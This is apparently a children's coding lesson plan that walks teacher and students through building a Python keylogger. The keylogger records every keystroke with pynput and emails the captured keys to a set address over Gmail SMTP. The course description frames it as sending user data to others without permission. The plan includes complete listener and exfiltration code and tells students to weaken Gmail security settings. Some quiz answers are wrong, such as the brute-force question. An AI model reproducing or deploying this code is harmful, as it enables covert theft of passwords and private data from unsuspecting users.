

Topic	Keylogger	
Class Description	Students will learn about keyloggers and how to send user data to others without taking permission	
Class	C-226	
Class time	45 mins	
Goal	<ul style="list-style-type: none"> Understand about Keylogger How Keyloggers Work The use of SMTP in key loggers 	
Resources Required	<ul style="list-style-type: none"> Teacher Resources: <ul style="list-style-type: none"> Laptop with internet connectivity Earphones with mic Notebook and pen Visual Studio Code Student Resources: <ul style="list-style-type: none"> Laptop with internet connectivity Earphones with mic Notebook and pen Visual Studio Code 	
Class structure	Warm-Up Teacher - led Activity 1 Student - led Activity 1 Wrap-Up	10 mins 10 mins 20 mins 5 mins
WARM UP SESSION - 10mins		
Teacher Action		Student Action

Hey <student's name>. How are you? It's great to see you! Are you excited to learn something new today?	ESR: Hi, thanks, yes, I am excited about it!
Q&A Session	
Question	Answer
How would you define brute force attack? A. Exhaustive search to get both username and password B. Only access to usernames C. Only access to Password D. None of the above	C
What is the purpose of loops? A. Repeat portion of code B. Repeat set of number of times C. Repeat until desired result D. All of the above	D
TEACHER-LED ACTIVITY - 10mins	
Teacher Initiates Screen Share	
<div style="text-align: center;"><u>ACTIVITY</u></div> <ul style="list-style-type: none"> • Send Email function • Call the function 	
Teacher Action	Student Action
Okay, so you remember what we did in the last session Great!	ESR Varied!

<p>Any doubts from last session?</p> <p><i>The teacher clarifies doubts (if any)</i></p> <p>Okay! Let me know how it feels if someone keeps track of all your personal information!</p> <p>Your information such as what you type, the type of website you are opening, your account details and password!</p> <p>Is it possible to keep track of everything you do on your computer or any other digital device?</p> <p>Can you explain?</p> <p><i>Listen to the student's response !</i></p> <p>Can I record every word you type, no matter what app you are using, and even copy and paste information and send it to a third party?</p> <p>What would be the consequences of that?</p> <p>Keeping records of every keystroke you make on your computer or mobile device. These are used to monitor your computer activity while you use your device as normal.</p> <p>Keeping track of keystrokes and making log of all the keys you pressed on your keyboard is known as "keylogger"</p> <p>The practice of keystroke logging involves tracking and recording each keystroke entry made on a computer, often without the user's permission or knowledge. Basically, a "keystroke" is any action you perform on your keyboard.</p> <p>A keystroke is how you communicate with your computer. Each keystroke transmits a signal to tell your computer what you want it to do.</p>	<p>ESR Varied!</p> <p>ESR Varied!</p> <p>ESR Varied!</p> <p>ESR It can steal private information like financial data information!</p>
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Keyloggers are used for legitimate purposes and can be misused by criminals to steal your data and data captured by keyloggers can be sent back to attackers via email or uploaded to predefined websites, databases, or FTP servers	
<i>Open the Teacher Activity 1</i>	<i>Student opens the Student Activity 1</i>
<p>Today we will learn how to make keylogger that sends emails containing recorded data from the target machine</p> <p>For that we will make two python files on one “keylogger.py” and second is “sendemail.py”</p>	
<i>Teacher download the boilerplate code from Teacher Activity 2</i>	<i>Student download the repository from Student Activity 2</i>
<p>Let's start with sendemail.py</p> <p>For sending email we need to use the SMTP library!</p> <p>Can you tell me what SMTP library is?</p> <p>Before import we need to install it smtpplib , ssl</p> <p>Open the terminal and type to install smtp</p> <p>pip install secure-smtplib pip install ssl</p> <p><i>Teachers or students may or may not require the need to use a virtual environment, depending on their system.</i></p> <p><i>The command to create and activate the virtual environment is as follow -</i></p>	<p>ESR</p> <p>Simple mail transfer protocol</p>

<p>Mac/Ubuntu</p> <pre>python -m venv venv source venv/bin/activate</pre> <p>Windows -</p> <pre>python -m venv venv venv\Scripts\activate.bat</pre>	
<pre>C:\Users\User>pip install secure-smtplib Collecting secure-smtplib Downloading secure_smtplib-0.1.1-py2.py3-none-any.whl (3.4 kB) Installing collected packages: secure-smtplib Successfully installed secure-smtplib-0.1.1</pre>	
<p>With the smtplib module, you can send email to any Internet machine with an SMTP server.</p> <p>Import smtplib, ssl</p>	
<pre>import smtplib, ssl</pre>	
<p><i>Teacher starts writing code from here:</i></p> <p>Create function sendEmail and pass the argument “message”</p> <ul style="list-style-type: none"> • Initialize variable smtp_server, SMTP service is used to send email from a device or app using gmail account • Set the port no 587, which is used for smtp protocol • Initialize variable “sender_email” which will store email address where you want to send key logs 	

- Write down your exact and “**original password**” of your email id

Note: “Teacher and Student can create dummy gmail id for testing purpose, If don't want to showcase exact gmail password

- Initialize variable receiver_email which will store email address where you want to send key logs
- Setting up a secure connection using **SSL()** “**SSL**” or “**Secure Sockets Layer**” provides encryption and peer authentication facilities for network sockets, for both client-side and server-side. The Function “**ssl.create_default_context**” returns a new context with secure settings.

```
def sendEmail(message):
    smtp_server = "smtp.gmail.com"
    port = 587
    sender_email = "test@gmail.com"
    password = "test@123"
    receiver_email = "test90@gmail.com"
    context = ssl.create_default_context()
```

Now with try we will try to log in to server and send email

- Bind server_address with port
- Using StartTLS, an email client can inform the email server that it wants to upgrade from an insecure to secure connection using TLS or SSL. SSL context to secure the connection.
- Using the password provided by sender_email, “**serve.login**” tries to log into that particular id

<ul style="list-style-type: none"> Using the “sendmail” function, it will send an email on mention email addresses - sender_email, receiver_email, along with key logs, i.e., in form of a message. 	
<pre>try: server = smtplib.SMTP(smtp_server,port) server.starttls(context=context) server.login(sender_email, password) server.sendmail(sender_email, receiver_email, message)</pre>	
<p>Any error that occurs should be passed to an exception and the that should be printed using print()</p>	
<pre>except Exception as e: print(e) finally: server.quit()</pre>	
Teacher Stops Screen Share	
STUDENT-LED ACTIVITY - 20 mins	
<ul style="list-style-type: none"> Ask the student to press the ESC key to come back to the panel. Guide the student to start Screen Share. The teacher gets into Full Screen. 	
<p style="text-align: center;"><u>ACTIVITY</u></p> <ul style="list-style-type: none"> Student will perform the symmetric Algorithm Student will perform the asymmetric Algorithm 	
<p style="text-align: center;">Teacher Action</p>	<p style="text-align: center;">Student Action</p>
<p><i>Guide the student to get the boilerplate code from Student</i></p>	<p><i>Student clones the code</i></p>

<p><u>Activity 2</u></p> <p><i>Note: Send_email code is on boiler plate along with Key_logger.py</i></p>	<p>from <u>Student Activity2</u></p>
<p>To control and monitor input devices we need to use pynput library</p> <ul style="list-style-type: none"> • Import pynput • The pynput library has two function keys and listener, listener will listen to all keys. • Now we need to import our send_email code too • import send_email • Initialize variable count =0 • Create an array of keys which will store all keyboard inputs 	
<pre>import pynput from pynput.keyboard import Key, Listener import send_email count = 0 keys = []</pre>	
<p>To check what key is pressed we will create a function which will log our pressed keys</p> <ul style="list-style-type: none"> • Create function on_press pass the argument (key) • Print pressed keys • Make global variables keys & count. As the name implies, global variables are variables that are 	

<p>accessible across the entire program.</p> <ul style="list-style-type: none"> • Using the append() method it will add a new single element in the end of the previous list which we are saving in the keys array, we are adding into the array • Increment the count by 1 • When the character count is beyond 20, only then it call our function email which will take all the keys Start counting again from zero • Send the pressed keys information via email function 	
<pre>def on_press(key): print(key, end= " ") print("pressed ") global keys, count keys.append(str(key)+'\n') count += 1 if count > 20: count = 0 email(keys)</pre>	
<p>In the next step, let's create a function email that takes all information about keys pressed and sends out in the form of a message to the email address we specified.</p> <ul style="list-style-type: none"> • Initialize variable message • For loops is used to sanitize each and every output from the array keys • Variable “ k “ It will take all the values that is appended in the array • All key presses separated by an inverted comma are replaced by nothing in order to make it readable 	

- If key pressed is space, then put space if any other key is pressed like shift up, shift down, just print the information and replace it with nothing
- Each key pressed information should be added to the message variable
- Using send_email function message using email

```
def email(keys):
    message = ""
    for key in keys:
        k = key.replace("'", "")
        if key == "Key.space":
            k = " "
        elif key.find("Key") > 0:
            k = ""
        message += k
    print(message)
    send_email.sendEmail(message)
```


Now we need to check any key released
On released function will be checking the key is escaped or not it will return false and stop the listener and close the program

```
def on_release(key):
    if key == Key.esc:
        return False
```

Listener will listen key pressed and release key, basically we will call this function on_press and on_release it will record pressed key or release key

```
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()
```

Now run the keylogger.py
Save keylogger.py and send_email.py in the same location

<p>Due to google secure authentication, when you run the keylogger file, it may or may not send the mail If it does not work, then we need to change the Gmail settings</p> <p>Follow these steps to enable it to send messages:</p> <ul style="list-style-type: none"> • Open your gmail account • Go to your Gmail Account • On the left navigation panel, click Security. • On the bottom of the page, in the “<i>Less secure app access panel</i>”, click Turn on access. • Click the Save button 	
<div> <p>← Less secure app access</p> <hr/> <p>Some apps and devices use less secure sign-in technology, which makes your account vulnerable. You can turn off access for these apps, which we recommend, or turn it on if you want to use them despite the risks. Google will automatically turn this setting OFF if it's not being used. Learn more</p> <div> <p>Allow less secure apps: ON</p>  </div> </div>	
<p>For MAC If data is not visible on terminal then do below settings :</p> <p>Go to System Preferences Go to Security & Privacy Click the lock to make changes Go to accessibility click on terminal</p>	








Teacher Guides Student to Stop Screen Share

WRAP UP SESSION - 5 Mins

Quiz time - Click on in-class quiz

Question	Answer
<p>What is the purpose of strip() function?</p> <p>A. Remove leading and trailing characters B. Show a list of characters C. Remove all the characters D. None of the above</p>	A
<p>What is the procedure to install pynput?</p>	C

<p>A. pip3 install pynput B. pip install py input C. pip install pynput D. None of the above</p>	
<p>Why do we need the init() function in class?</p> <p>A. Act as a constructor B. Automatically call the function C. Act as a intilizerer D. All of the above</p>	<p>D</p>
<p>End the quiz panel</p>	
<p>FEEDBACK</p> <ul style="list-style-type: none"> • Appreciate the students for their efforts in the class. • Ask the student to make notes for the reflection journal along with the code they wrote in today's class. 	
<p>Teacher Action</p>	<p>Student Action</p>
<p>You get Hats off for your excellent work!</p> <p>In the next class</p>	<p><i>Make sure you have given at least 2 Hats Off during the class for:</i></p> <div> <p>Creatively Solved Activities  +10</p> </div> <div> <p>Great Question  +10</p> </div> <div> <p>Strong Concentration  +10</p> </div>
<p>Project Discussion</p>	

<div>Teacher Clicks</div> <div>✕ End Class</div>	
ADDITIONAL ACTIVITIES	
Additional Activities <i>Encourage the student to write reflection notes in their reflection journal using markdown.</i> Use these as guiding questions: <ul style="list-style-type: none"> • What happened today? <ul style="list-style-type: none"> ◦ Describe what happened. ◦ The code I wrote. • How did I feel after the class? • What have I learned about programming and developing games? • What aspects of the class helped me? What did I find difficult? 	<i>The student uses the markdown editor to write her/his reflections in the reflection journal.</i>

ACTIVITY LINKS		
Activity Name	Description	Link
Teacher Activity1	Keylogger	https://en.wikipedia.org/wiki/Keylogger_logging

Teacher Activity 2	Boilerplate Code	https://github.com/pro-whitehatjr/Pro_C226_TeacherBoilerPlate
Teacher Activity 3	Reference Code	https://github.com/pro-whitehatjr/PRO_C226_ReferenceCode
Student Activity 1	Keylogger	https://en.wikipedia.org/wiki/Keystroke_logging
Student Activity 2	Boilerplate Code	https://github.com/pro-whitehatjr/PRO_C226_StudentBoilerPlate